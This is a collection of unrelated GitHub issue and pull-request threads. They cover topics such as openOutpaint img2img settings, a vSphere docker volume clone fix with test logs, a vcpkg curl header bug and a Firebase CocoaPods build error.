I don't know, maybe it's just me and my bad skills, but now img2img doesn't do anything on any denoise level. It just sharpens image a bit and nothing else changes. With or without tick in HRfix. I just put gir hub during launch and I think it automatically updated. Or I still need to do "git checkout testing". A still didn't understand how to do it. :-D
You said this:
cd \oo
git checkout testing
My extention path is this - c:\SUPER SD 2.0\stable-diffusion-webui\extensions\openOutpaint-webUI-extension
I tried to put "git checkout testing" in the line of this adress. It popups at half a second then disappears. I even dunno what was written there, or was it. :-)

I found a reason why I had no results. In img2img if you have no mask you have to put tick in "invert mask", or it will try to img2img non-existing mask. If you put inverted mask, it will img2img the whole image cuz it is the "inverted" part of non existing mask. :-D A bit confusing.

hrfix option doesn't happen at all anywhere if you're using img2img - it'll only do anything whatsoever on a completely new dream over blank space as that's the only txt2img operation that occurs in openOutpaint.  inpainting/outpainting/img2img tool all use the img2img functionality of A1111 which doesn't have hrfix anywhere in the process chain.
otherwise, yeah, the invert mask option should be enabled when you select the img2img tool unless you'd disabled it earlier in the session, but i can see how that'd be a bit awkward; there's now more clarity regarding the option in the manual.

My extention path is this - c:\SUPER SD 2.0\stable-diffusion-webui\extensions\openOutpaint-webUI-extension

ah, wasn't aware you were using the extension.  you might've checked out the testing branch for that instead.
so you'd do the following:

win+r to open the run menu
type cmd and press enter to open command prompt
type `cd "\SUPER SD 2.0\stable-diffusion-webui\extensions\openOutpaint-webUI-extension" and press enter
type git checkout main and press enter
type cd app and press enter
type git checkout testing and press enter

that'll switch the openOutpaint gitmodule in the extension to the testing branch and should put the extension back on the main branch.   the extension will try to update the submodule each time it's initialized (whenever gradio re/starts) so you may end up with unexpected bugs/side effects if you say on the testing branch as that's where stuff in testing goes.  you'll likely want to switch back to main by running git checkout main from within the app subdirectory of the installed openOutpaint extension to avoid that

Ok. I switched to test branch. Thanks for the explanation.
But the fact that there is no hrfix option in A1111 itself depresses me much. :-( How am I supposed to make a img2img on resolutions higher than 512x512 if it results in adding more mutations. :-(
Ok, Is there a way to add options like A1111 has in img2img like crop&resize, resize&fill, and... just resize (latend upscale)... I haven't even seen the last one. I wonder when it was added.

i was actually looking into adding a selector for the img2img inpaint modes last night and those should be added to openOutpaint fairly soon; can't give an exact timeframe unfortunately due to holidays and family events, but those are definitely planned to show up 👍

Good to know. I just can't come up with a plan ho to make img2img without morbid results. If I make 512x512 and then try to upscale, it's pointless cuz 512 has so much less details than 1200+, and every img2img upscale from 512 to 1200+ even with low denoising will still get morbid results during the generation and will slowly change image from the initial one... :-(

inpaint mode selector should exist now on the testing branch; it's nothing fancy, just delivers what it says on the tin :)

hey well thanks to the massive changes to HRfix, none of the above is even relevant anymore so that's neat
there's a new hrfix scale slider to work like a traditional upscaler, and a "lie to hrfix" option in the gear/config menu which will set the resolution requested from webUI to the divided value against the hrfix scale; that way, webUI "upscales" an image from... whatever resolution into one that'll fit the reticle correctly

closing this as moot given the upstream HRfix craziness of late, plus the original bug of non-square ratios was fixed, plus plus HRfix isn't a thing in img2img in the first place


Adapt documentation of ArtifactHandler after PR #13505

Make it more clear that artifacts now lazily accept task outputs.
Signed-off-by: Kristian Kraljic<EMAIL_ADDRESS>Fixes #?
Context

Contributor Checklist

[ ] Review Contribution Guidelines
[ ] Make sure that all commits are signed off to indicate that you agree to the terms of Developer Certificate of Origin.
[ ] Make sure all contributed code can be distributed under the terms of the Apache License 2.0, e.g. the code was written by yourself or the original code is licensed under a license compatible to Apache License 2.0.
[ ] Check "Allow edit from maintainers" option in pull request so that additional changes can be pushed by Gradle team
[ ] Provide integration tests (under <subproject>/src/integTest) to verify changes from a user perspective
[ ] Provide unit tests (under <subproject>/src/test) to verify logic
[ ] Update User Guide, DSL Reference, and Javadoc for public-facing changes
[ ] Ensure that tests pass sanity check: ./gradlew sanityCheck
[ ] Ensure that tests pass locally: ./gradlew <changed-subproject>:quickTest

Gradle Core Team Checklist

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation
[ ] Recognize contributor in release notes

@bot-gradle test and merge

Your PR is queued. See the queue page for details.

OK, I've already triggered a build for you.


add variable for RTL support

add to sess and less one variable for rtl or ltr bootstarp .
With the variable easy change ltr or rtl boostratp

Yet another duplicate of #14510. Please search next time!
See also #15509.

And duplicate of your own #15479!


[Task] [Java SDK]: Add getSchema to PubsubClient and implementing classes

What needs to happen?
What work does this Task describe?
This task adds instance method and two static methods to PubsubClient.
// org.apache.beam.sdk.io.gcp.pubsub.PubsubClientPubsubClient

import org.apache.beam.sdk.schemas.Schema;

public Schema getSchema(SchemaPath schemaPath) throws IOException;

To support the aforementioned, this task additionally adds:

SchemaPath

public static class SchemaPath {
    // Supports the projects/<project>/schemas/<schema> resource path
}

fromSchema methods

// org.apache.beam.sdk.io.gcp.pubsub.PubsubClientPubsubClient

import org.apache.beam.sdk.schemas.Schema;

static Schema fromPubsubSchema(com.google.api.services.pubsub.model.Schema pubsubSchema) { /* Converts Pub/Sub model Schema to Beam Schema; for use by PubsubJsonClient. */ }

static Schema fromPubsubSchema(com.google.pubsub.v1.Schema pubsubSchema) { /* Converts Pub/Sub model Schema to Beam Schema; for use by PubsubGrpcClient. */ }

Override getSchema in PubsubClient subclasses

// org.apache.beam.sdk.io.gcp.pubsub.PubsubGrpcClient

import org.apache.beam.sdk.schemas.Schema;

@Override
public Schema getSchema(SchemaPath schemaPath) throws IOException { ... }

// org.apache.beam.sdk.io.gcp.pubsub.PubsubJsonClient

import org.apache.beam.sdk.schemas.Schema;

@Override
public Schema getSchema(SchemaPath schemaPath) throws IOException { ... }

// org.apache.beam.sdk.io.gcp.pubsub.PubsubTestClient

import org.apache.beam.sdk.schemas.Schema;

@Override
public Schema getSchema(SchemaPath schemaPath) throws IOException { ... }

Add schema to PubsubTestClient.State

import org.apache.beam.sdk.schemas.Schema;

private static class State {
    /** Expected Pub/Sub mapped Beam Schema. */
    @Nullable Schema schema;
}

What value may result from this Task's output?
Querying from and converting the Pub/Sub Schema [1] to a Beam Schema[2] would allow us to validate that both schemas match to prevent potential errors. This supports the design goals of Pub/Sub schemas to facilitate a contract between publisher and subscriber and facilitate a single source of truth for inter-team production and consumption.
Ready and Done Measures
Ready
No blockers
Done

[ ] Tests detect errors in resource path generation for a Google Cloud resource path
[ ] Tests detect errors in converting from Beam Schema to Pub/Sub model Schema
[ ] Tests detect errors in converting from Beam Schema to Pub/Sub proto Schema
[ ] Tests detect errors in querying source Pub/Sub schema
[ ] Integration tests detect errors in querying source Pub/Sub schema from provisioned resources

Issue Priority
Priority: 3
Issue Component
Component: io-java-gcp

.take-issue


📝 Update documentation for mappers

What and why?
Add documentation for RUM mapping features.
Add documentation around GDPR tracking consent and data storage.
Review checklist

[ ] This pull request has appropriate unit and / or integration tests
[ ] This pull request references a Github or JIRA issue

CI Configuration (optional)

[ ] Run unit tests
[ ] Run integration tests

Sorry, did not mean to request changes.


Typescript support

Hey there
I've been using express for quite some time and recently switched to typescript.
The express-device package was always a must have for all my applications but now, i am missing the lack of typescript support.
Are there plans to create such support?
Thanks in advance.
Greetings

That would be great but unfortunately I don't have the time. Closing for now. You're welcome to submit a pull request


Fix KV files on clone.

From ESX 6.5 onwards, the sidecars for the clone destination get created with a random key vs. the key thats used to create the source sidecars. Which is why the ESX service was unable to open and read/write the file after clone. Effectively clone was broken in 6.5 and later.
Fixed and now able to clone volumes fine.
docker volume ls
DRIVER              VOLUME NAME
vsphere:latest      test@datastore1
docker volume create -d vsphere clone -o clone-from=test
clone
docker volume inspect clone
[
{
"Driver": "vsphere:latest",
"Labels": {},
"Mountpoint": "/mnt/vmdk/clone/",
"Name": "clone",
"Options": {
"clone-from": "test"
},
"Scope": "global",
"Status": {
"access": "read-write",
"attach-as": "independent_persistent",
"capacity": {
"allocated": "13MB",
"size": "100MB"
},
"clone-from": "test",
"created": "Sun Mar 18 19:28:08 2018",
"created by VM": "ubuntu-VM2.3 (1)",
"datastore": "datastore1",
"diskformat": "thin",
"fstype": "ext4",
"status": "detached"
}
}
]

Fixes #2074

@shuklanirdesh82, the build seems to fail with all products VDVS, vFile and Windows, with error
Problem accessing /job/VDVS%20Multibranch%20Pipeline%20-%20Temp/job/PR-2077/1/display/redirect. Reason:
Not Found
Anyway I can restart the build

https://github.com/vmware/vsphere-storage-for-docker/pull/2077#issuecomment-374331614

@ashahi1 can you please take a look at this CI failure?

https://github.com/vmware/vsphere-storage-for-docker/pull/2077#issuecomment-374381718
@shuklanirdesh82 looking at it.

Tests have started: http://hatchway.svc.eng.vmware.com/job/VDVS Multibranch Pipeline - Temp/view/change-requests/job/PR-2077/8/console

All tests passed with latest changes.
Test results:
=> Running target test-esx Mon Mar 26 12:14:29 PDT 2018

OK
# ssh -i /Users/ashahi/.ssh/id_rsa -kTax -o StrictHostKeyChecking=no<EMAIL_ADDRESS>rm -rf /tmp/vmdk_ops_unittest10104

=> Running target test-vm Mon Mar 26 12:22:07 PDT 2018
=== RUN   TestCommands
time="2018-03-26T12:22:00-07:00" level=info msg="Directory doesn't exist, creating it " path="/tmp/docker-volumes/18155"
Detaching loopback device /dev/loop1001
Detaching loopback device /dev/loop1001
Detaching loopback device /dev/loop1001
--- PASS: TestCommands (0.89s)
	cmd_linux_test.go:30:
		Creating Test Volume with name = [TestVol]...
PASS
coverage: 40.7% of statements
=== RUN   TestSanity
2018-03-26T12:22:01-07:00 START: Running TestSanity on  tcp://<IP_ADDRESS>:2375 (may take a while)...
2018-03-26T12:22:08-07:00 END: Running TestSanity on  tcp://<IP_ADDRESS>:2375 (may take a while)...
--- PASS: TestSanity (7.10s)
--- PASS: TestConcurrency (23.41s)
	sanity_test.go:209: Successfully connected to tcp://<IP_ADDRESS>:2375
	sanity_test.go:209: Successfully connected to tcp://<IP_ADDRESS>:2375
PASS
Test results:

=> Running target test-e2e-runalways Mon Mar 26 19:24:48 UTC 2018
OK: 6 passed
--- PASS: Test (134.44s)
PASS

=> Running target test-e2e-runonce Mon Mar 26 19:27:05 UTC 2018
--- PASS: Test (1718.28s)
PASS
OK: 51 passed


How to get started? as example points to repos that don't exist?

Getting Started
You can start using s2i right away (see releases) with the following test sources and publicly available images:
$ s2i build https://github.com/openshift/ruby-hello-world centos/ruby-23-centos7 test-ruby-app
$ docker run --rm -i -p :8080 -t test-ruby-app
https://github.com/openshift/ruby-hello-world centos/ruby-23-centos7 -> returns 404

works for me:
$ s2i build https://github.com/openshift/ruby-hello-world centos/ruby-23-centos7 test-ruby-app
---> Installing application source ...
---> Building your Ruby application from source ...
---> Running 'bundle install --retry 2 --deployment --without development:test' ...
Fetching gem metadata from https://rubygems.org/..........
Fetching version metadata from https://rubygems.org/..
Installing rake 12.3.0
Installing concurrent-ruby 1.0.5
Installing i18n 0.9.3
Installing minitest 5.11.3
Installing thread_safe 0.3.6
Installing tzinfo 1.2.5
Installing activesupport 5.1.4
Installing activemodel 5.1.4
Installing arel 8.0.0
Installing activerecord 5.1.4
Installing mustermann 1.0.3
Installing mysql2 0.4.10 with native extensions
Installing rack 2.0.6
Installing rack-protection 2.0.5
Installing tilt 2.0.9
Installing sinatra 2.0.5
Installing sinatra-activerecord 2.0.13
Using bundler 1.10.6
Bundle complete! 6 Gemfile dependencies, 18 gems now installed.
Gems in the groups development and test were not installed.
Bundled gems are installed into ./bundle.
---> Cleaning up unused ruby gems ...
WARNING: If you plan to load any of ActiveSupport's core extensions to Hash, be
sure to do so *before* loading Sinatra::Application or Sinatra::Base. If not,
you may disregard this warning.

Set SINATRA_ACTIVESUPPORT_WARNING=false in the environment to hide this warning.
Build completed successfully

running the resulting image also worked


Add profiles to Config

Looks good so far, aside from the comments.
One extra thing is the fact that the full profile is saved, while I would prefer to have only the updated fields in the config, so that the config file is lighter, and the defaults are used for the non-specified one.
Could be you're planning for this at a later step, but wanted to point it out just in case.

yes, an issue has already been opened for this.

Codecov Report
Patch and project coverage have no change.

Comparison is base (82b3a7f) 91.56% compared to head (82b3a7f) 91.56%.

:exclamation: Current head 82b3a7f differs from pull request most recent head 5019a40. Consider uploading reports for the commit 5019a40 to get more accurate results

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@           Coverage Diff            @@
##           develop     #426   +/-   ##
========================================
  Coverage    91.56%   91.56%
========================================
  Files           54       54
  Lines         4693     4693
========================================
  Hits          4297     4297
  Misses         396      396

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Add https binary cache

This can be used to use gitlab generic packages as binary cache.
We could also allow http.
Maybe we should replace the header field by 'options to curl'. Then the -u option or multiple headers could be used.

http support can be useful when pushing/fetching from internal server

Thanks!

This completely broke binary caching for x-azblob because it causes curl command lines like:
curl --create-dirs --location -w "5ec47b8e-6776-4d70-b9b3-ac2a57bc0a1c %{http_code}\n" "https://vcpkgbinarycacheeastasia.blob.core.windows.net/cache/06db868bb3ae7a8a4d85685d799e0630d91a4594b9c1caa6dac361a42a46c407.zip?SAS" -o "C:\Dev\vcpkg\buildtrees\vcpkg-cmake\x64-windows.zip" -H "x-ms-version: 2020-04-08" -H "x-ms-blob-type: BlockBlob" "https://vcpkgbinarycacheeastasia.blob.core.windows.net/cache/dcc66cf2da4a2a8f4526bd8f779c455afb9eca970749bd0a123f8f1152b18630.zip?SAS" -o "C:\Dev\vcpkg\buildtrees\zlib\x86-windows.zip" -H "x-ms-version: 2020-04-08" -H "x-ms-blob-type: BlockBlob"

Note that -H is duplicated. https://curl.se/docs/manpage.html#-H -H is sent for all requests, not per-url like this appears to be trying to do.

This are actually two issues:

Headers are send twice
azure blob headers meant for put requests are also send in get requests (I didn't know that and thought it would be ok to also send them in get requests)

I have fixed this two issues in https://github.com/microsoft/vcpkg-tool/pull/592


Rue89 analytics features

This is a merge of the following WIP pull requests:

Add API helper for users and user profiles
New API endpoint for retrieving typology data
Add API helper for retrieving user problem data

Same for this one: contains what it says on the tin, looks good, :+1: since the tests are passing.  This will also be implicitly tested when I test the Insights PR.

These changes are used by https://github.com/rue89-tech/edx-analytics-data-api/tree/rue89


Added check_json.py

check_json.py is a command-line tool for verifying that forecast/observation jsons are valid and useable by SPHINX.  It currently checkst that

json can be loaded
energy channel blocks can be found
an object can be instantiated
forecast json trigger timestamps are valid

A few small changes to outside SPHINX code aided in making the checker able to validate jsons using exactly the same functions/methods that SPHINX uses to work:

Forecast.valid_forecast() now takes no arguments; relies solely on class data.  It also has a verbose flag for explaining why invalid states are reached
match.py now relies on valid_forecast() above to print its error messages
validation_json_handler module changes:

read_in_json() no longer warns and skips for file not found / corrupt json type exceptions.  Exceptions are just raised and SPHINX will now fail in these cases.
split read_json_list() into that and read_list_of_jsons(), the former processes a python list of str filenames, the latter reads file and returns a python list of str filenames.
identify_all_energy_channels() now works on either forecast or observation jsons, specified using the 'kind' argument

Fixes issue #21

Fixed typo @ktindiana found.


feat: new ToolTip designs and centered alignments

Overview

Updates the visual design of the ToolTips to match the latest Figma designs, and added the smaller sized bottom-center and top-center alignment.

PR Checklist

[x] Related to designs: https://www.figma.com/file/k68iQ6kmG5fLqSY1kTVCyn/Tooltip
[x] Related to JIRA ticket: WEB-1408
[x] I have run this code to verify it works
[x] This PR includes unit tests for the code change

📬Published Alpha Packages:@codecademy/gamut-kit@0.3.29-alpha.858c3a.0@codecademy/gamut-labs@13.5.6-alpha.858c3a.0@codecademy/gamut@31.1.0-alpha.858c3a.0<EMAIL_ADDRESS>
📬Published Alpha Packages:@codecademy/gamut-kit@0.3.42-alpha.427d67.0@codecademy/gamut-labs@14.2.2-alpha.427d67.0@codecademy/gamut@32.2.0-alpha.427d67.0<EMAIL_ADDRESS>
📬Published Alpha Packages:@codecademy/gamut-kit@0.3.42-alpha.9ea0d9.0@codecademy/gamut-labs@14.2.2-alpha.9ea0d9.0@codecademy/gamut@32.2.0-alpha.9ea0d9.0<EMAIL_ADDRESS>
🚀 Styleguide deploy preview ready!https://6081f8c9ce491c009f1191a8--gamut-preview.netlify.appDeploy Logs

📬Published Alpha Packages:@codecademy/gamut-kit@0.3.42-alpha.9e4ef4.0@codecademy/gamut-labs@14.2.2-alpha.9e4ef4.0@codecademy/gamut@32.2.0-alpha.9e4ef4.0<EMAIL_ADDRESS>
🚀 Styleguide deploy preview ready!https://6082eefeef0a5570006468fe--gamut-preview.netlify.appDeploy Logs

Codecov Report

Merging #1628 (9e4ef45) into main (90c0514) will decrease coverage by 8.23%.
The diff coverage is 100.00%.

:exclamation: Current head 9e4ef45 differs from pull request most recent head e934f9a. Consider uploading reports for the commit e934f9a to get more accurate results

@@            Coverage Diff             @@
##             main    #1628      +/-   ##
==========================================
- Coverage   95.12%   86.89%   -8.24%
==========================================
  Files         268      291      +23
  Lines        2729     3090     +361
  Branches      743      828      +85
==========================================
+ Hits         2596     2685      +89
- Misses        127      365     +238
- Partials        6       40      +34

Impacted Files
Coverage Δ

packages/gamut/src/ToolTip/index.tsx
100.00% <100.00%> (ø)

packages/gamut-styles/src/GamutProvider.tsx
80.00% <0.00%> (-20.00%)
:arrow_down:

packages/gamut/src/Anchor/index.tsx
95.23% <0.00%> (-4.77%)
:arrow_down:

packages/variance/src/core.ts
97.87% <0.00%> (-1.07%)
:arrow_down:

packages/gamut/src/Typography/Text.tsx
100.00% <0.00%> (ø)

packages/gamut-styles/src/ColorMode.tsx
100.00% <0.00%> (ø)

packages/gamut/src/BodyPortal/index.tsx
100.00% <0.00%> (ø)

packages/gamut/src/Layout/LayoutGrid.tsx
100.00% <0.00%> (ø)

packages/gamut/src/AccordionButton/index.tsx
100.00% <0.00%> (ø)

packages/gamut-labs/src/landingPage/Title.tsx
100.00% <0.00%> (ø)

... and 37 more

📬Published Alpha Packages:@codecademy/gamut-kit@0.3.58-alpha.e934f9.0@codecademy/gamut-labs@15.1.1-alpha.e934f9.0@codecademy/gamut@32.5.0-alpha.e934f9.0<EMAIL_ADDRESS>
🚀 Styleguide deploy preview ready!https://6089e06281777c00c5432c5f--gamut-preview.netlify.appDeploy Logs

📬Published Alpha Packages:@codecademy/gamut-kit@0.3.80-alpha.898c05.0@codecademy/gamut-labs@15.5.4-alpha.898c05.0@codecademy/gamut@32.13.0-alpha.898c05.0<EMAIL_ADDRESS>
🚀 Styleguide deploy preview ready!https://6092d958a912f300b9d55b0d--gamut-preview.netlify.appDeploy Logs


formdata Event page and FormDataEvent interface

Request type

[ ] Please close this issue, I accidentally submitted it without adding any details
[X] New documentation
[ ] Correction or update

Details
The formdata event was recently added to the HTML spec, as an event on form elements that provides access to the form data constructed as if it were to be sent to the server. This is missing a page, as well as a page for the FormDataEvent interface.
References:
https://html.spec.whatwg.org/multipage/indices.html#event-formdata
https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#constructing-form-data-set (step 7)
https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#formdataevent

This now exist; see:

https://developer.mozilla.org/en-US/docs/Web/API/FormDataEvent
https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/formdata_event


Keep default behaviour for non-numeric keys

Keys were being accessed or set as "NaN" for non-numeric keys

Fixed in 2.0.1


Context portal styling

In this PR:

Improved styling of the context menu,
Improved the positioning function for the context menu based on code in slate-suggestions,
Improved styling of selected elements in other autocomplete menus to match the new menu styling,
On files I touched in accomplishing these tasks, I aligned styling with recent style guidelines. Changes include:

Replacing tabs with spaces.
Consistently use 4 spaces to indent.
Unified use of arrow functions in class definitions to ensure the 'this' keyword means the same thing across functions.
In ContextPortal I refactored the keydown function, removed duplicate reference to context being stored in ContextPortal's state, and fixed selectedIndex to be stored in the component's state.

The styling looks good!
[NN1] Can you make sure you have the latest master pulled into your branch? (sorry i made a direct commit to master to update the link on the landing page. It should not break anything)
[NN2] When I go to patient mode and click the @CONDITION button, nothing happens. There is no display with options for the user to select. The following is displayed in the console:

The styling looks good to me! I noticed the same two things Nicole did though.

Thanks y'all. I'm looking into the NN2, and am taking care of NN1 now!

Rebased to address NN1 and fixed NN2 y addressing dropdown placement issues. Let me know if there's anything else you see!

NN1 and NN2 have been fixed. Looks good on my end


Unable to start container

Error when Running docker compose up
[+] Running 2/2
 ✔ Network neonlink_default  Created                                                                                0.1s
 ✔ Container neonlink        Created                                                                                0.2s
Attaching to neonlink
neonlink  |
neonlink  | /app/node_modules/better-sqlite3/lib/database.js:63
neonlink  | 		[util.cppdb]: { value: new addon.Database(filename, filenameGiven, anonymous, readonly, fileMustExist, timeout, verbose || null, buffer || null) },
neonlink  | 		                      ^
neonlink  |
neonlink  | SqliteError: unable to open database file
neonlink  |     at new Database (/app/node_modules/better-sqlite3/lib/database.js:63:26)
neonlink  |     at Object.<anonymous> (/app/db/connect.js:2:10)
neonlink  |     at Module._compile (node:internal/modules/cjs/loader:1198:14)
neonlink  |     at Object.Module._extensions..js (node:internal/modules/cjs/loader:1252:10)
neonlink  |     at Module.load (node:internal/modules/cjs/loader:1076:32)
neonlink  |     at Function.Module._load (node:internal/modules/cjs/loader:911:12)
neonlink  |     at Module.require (node:internal/modules/cjs/loader:1100:19)
neonlink  |     at require (node:internal/modules/cjs/helpers:108:18)
neonlink  |     at Object.<anonymous> (/app/app.js:5:18)
neonlink  |     at Module._compile (node:internal/modules/cjs/loader:1198:14) {
neonlink  |   code: 'SQLITE_CANTOPEN'
neonlink  | }
neonlink exited with code 0

Docker Compose (Docker version 24.0.4, build 3713ee1):

services:
  neonlink:
    image: alexscifier/neonlink
    volumes:
      - ./bookmarks.sqlite:/app/db/bookmarks.sqlite
      - ./background:/app/public/static/media/background
    restart: always
    ports:
      - "80:3333"```

As per this release
I just needed to create the bookmarks.sqlite file and mount the folder it is contained in. Updated Docker file:
services:
neonlink:
image: alexscifier/neonlink
container_name: neonlink
volumes:
-./data:/app/data
- ./background:/app/public/static/media/background
restart: unless-stopped
ports:
- "3338:3333"


Working JsFiddle Drag and Drop Example for IE 11

Hi, great directive!
It works fine so far in Chrome and FireFox. But when I try
http://jsfiddle.net/danialfarid/s8kc7wg0/400/
in IE 11 the Drag And Drop is not working, but on the Demo Page
https://angular-file-upload.appspot.com/
it is working, but I can't find the differences between the two pages, perhaps you could provide a JsFiddle with IE 11 Drag and Drop working.

It is working fine for me. Maybe you are running in compatibility mode or something.

both demos are working for you? Because its strange that the one works and the other not in the same IE. I will make a screenshot and share my  IE settings.

Yes both works.

Hi,
so I've tried it again and its not working in my IE.

I am including the following files in my BundleConfig
  bundles.Add(new ScriptBundle("~/bundles/js").Include(
               "~/Scripts/jquery-{version}.js",
               "~/Scripts/angular.js",
               "~/Scripts/angular-sanitize.js",
               "~/Scripts/i18n/angular-locale_de-de.js",
               "~/Scripts/angular-ui-router.js",
               "~/Scripts/ng-file-upload-shim.js",
               "~/Scripts/ng-file-upload.js",
              "~/Scripts/AngularJsSxp/Addons/ui-bootstrap-tpls.js")

and i am just using your directive no backend code

                  drop files here

Strange is, that at the moment my IE is not working on your Demopage and JsFiddle as well and I am shure it was working on the Demo Page last week. I've looked also into the console and there are no errors.

Can you send the screenshot for the demo page with the files that are loaded and console logs.

There should be logs from FileAPI if it is loaded properly.

Can you send the screenshots of the demo page with the loaded files and console logs?

Also make sure it is not in compatibility mode

Damn that seems to be the solution, I thought I had deaktivated compatibility mode but it was not. I've deaktived it and now it works in IE too.

Hi ,
I have deactivated the compatibility mode in IE11, even though the drag and drop feature is not working in demo page as well as on my page. I've looked into the console also and there are no errors. Any idea?


Fix warnings and issues in docs

Thanks @akantak for the fixes! I left two comments about phrasing. After those are addressed, I think this is ready to merge


Fix bfs_tree and dfs_tree for non-tuple vertices

@LinjianMa this should fix the issue you were seeing with ITensorNetwork.orthogonalize.

Codecov Report

Merging #12 (2be5b7b) into main (9f9ab20) will increase coverage by 1.52%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##             main      #12      +/-   ##
==========================================
+ Coverage   49.04%   50.57%   +1.52%
==========================================
  Files           4        4
  Lines         263      263
==========================================
+ Hits          129      133       +4
+ Misses        134      130       -4

Impacted Files
Coverage Δ

src/abstractdatagraph.jl
49.71% <100.00%> (+2.31%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


edit the readme file

Description

added image of playlistAdda to give contributor hint on want they are working on
...
...


Support obj name keys

Hi,
This is based off the discussion at: https://groups.google.com/forum/#!topic/jmxtrans/yVgxuL27K4g which was initially around being able to specify all MBeans in a query.
I initially looked at doing this by putting JexlNamingStrategy into BaseOutputWriter (and therefore GraphiteWriter which is my real use case).
However it wasn't so simple as that because JexlNamingStrategy operates over the Result object and the information I wanted to put into the key is part of the ObjectName (the domain) so I was unable to use JexlNamingStrategy as it was.
While I'm OK with the idea of JexlNamingStrategy and think it could be made to work for this case after the changes I've made, what I ended up doing was introduce a simple boolean property named "useObjDomainAsKey" as part of the Query object.
I experimented with this being a property at the OutputWriter level and Query level and it seems to make a lot more sense at the Query level.
If useObjDomainAsKey is set to true then JMXTrans will use the `Domain' of the MBean as part of the key instead of the class name (which is the default behavior). E.g. if
ObjectName is: java.lang:type=Memory and ClassName is: sun.management.MemoryImpl then if useObjDomainAsKey is true the output will include java.lang instead of sun.management.MemoryImpl
It respects the allowDottedKeys property so the actual output could be either java_lang or java.lang
resultAlias will still overrule the domain type, just as it overrules the default ClassName behavior.
I believe this would also solve this users request: https://groups.google.com/forum/#!topic/jmxtrans/Exhb4BEul-M
What do you think?
Conor

This pull request is now managed with CodeReviewHub. Refresh.

I'm not a huge fan of adding another configuration argument, but in general, this seems ok to me.
Could you remove the .settings folder and the .gitignore change in another PR though?

Thanks. I committed again.

:+1:

Ok, just need to get @gehel's opinion on this.

Looks good to me, but I'd like to have a deeper look this evening before merging.

That's good enough for me at this point. There is some cleanup needed on how configuration parameters are passed around anyway ...
Thanks for your help!


[RFE] report mode metrics to be sent to a different elastic index.

Is your feature request related to a problem? Please describe.
Duplicate metrics being indexed
Describe the solution you'd like
The -report metrics to be sent to a different kube-burner elasticsearch index.

@rsevilla87 yes, still relevant, and agreed it makes more sense to be in the ocp wrapper.


COS-16 cosmetics setup

Sets up a new rails app for the Cosmetics Portal (name pending) web application.
Also updates the build process to push built containers to DockerHub, and pull those containers into separate test jobs that run in parallel.

Pull Request Test Coverage Report for Build 761

0 of 0   changed or added relevant lines in 0 files are covered.
11 unchanged lines in 2 files lost coverage.
Overall coverage decreased (-0.9%) to 88.009%

Files with Coverage Reduction
New Missed Lines
%

test/controllers/activities_controller_test.rb
3
83.33%

../controllers/activities_controller.rb
8
56.52%

Totals

Change from base Build 755:
-0.9%

Covered Lines:
1123

Relevant Lines:
1276

💛  - Coveralls


Typo "Azure database for MariaDB"→"Azure Database for MariaDB"

https://docs.microsoft.com/en-us/azure/mariadb/howto-migrate-dump-restore
https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/mariadb/howto-migrate-dump-restore.md
#PingMSFTDocs

@hyoshioka0128 : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#sign-off

The updated string appears to be referring to an instance created by using the Azure service ("the Azure database..."), so "database" would be lowercase. We'll close the PR as correct as is. Thanks for contributing @hyoshioka0128.


Error: 'GoogleDataTransport/GDTCORConsoleLogger.h' file not found

[REQUIRED] Step 1: Describe your environment

Xcode version: 11.3
Firebase SDK version: 6.21.0
Firebase Component: Core
Component version: 6.21.0
Installation method: CocoaPods（1.8.4）

[REQUIRED] Step 2: Describe the problem
The following error occurred.

'GoogleDataTransport/GDTCORConsoleLogger.h' file not found

Pods/GoogleDataTransport/ directory is empty.
Steps to reproduce:

make Podfile to install Firebase/Core
pod install
open .xcworkspace file
build project

Relevant Code:
Here is the repository that contains the minimal code to reproduce the error.
https://github.com/shtnkgm/FirebaseIssue
This is my Podfile.
# Uncomment the next line to define a global platform for your project
# platform :ios, '9.0'

target 'FirebaseIssue' do
  use_frameworks!

  pod 'Firebase/Core'

end

I solved this problem myself.
The header file was imported successfully by executing the following command.
sudo rm -fr ~/Library/Caches/CocoaPods/
pod install

Thanks for updating! Feel free to comment here if the issue resurfaces and we'll try to help.


Move everything related to spiffe URIs to package spiffe

see issue #8661
This pull request has been split from pr #8976 to have an easier reviewable slice (implementing
this comment).

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers: andraxylia, nmittler, wattli
If they are not already assigned, you can assign the PR to them by writing /assign @andraxylia @nmittler @wattli in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

install/OWNERS
pilot/OWNERS
pkg/OWNERS
security/OWNERS
tests/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@jsPlachetka: PR needs rebase.

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

Hi @jsPlachetka. Thanks for your PR.
I'm waiting for a istio member to verify that this patch is reasonable to test. If it is, they should reply with /ok-to-test on its own line. Until that is done, I will not automatically test new commits in this PR, but the usual testing commands by org members will still work. Regular contributors should join the org to skip this step.
I understand the commands that are listed here.

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

Please review this PR after #9059 has been merged (it is based on that one).

/ok-to-test
cc @elevran @myidpt @wattli

/retest

@jsPlachetka: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

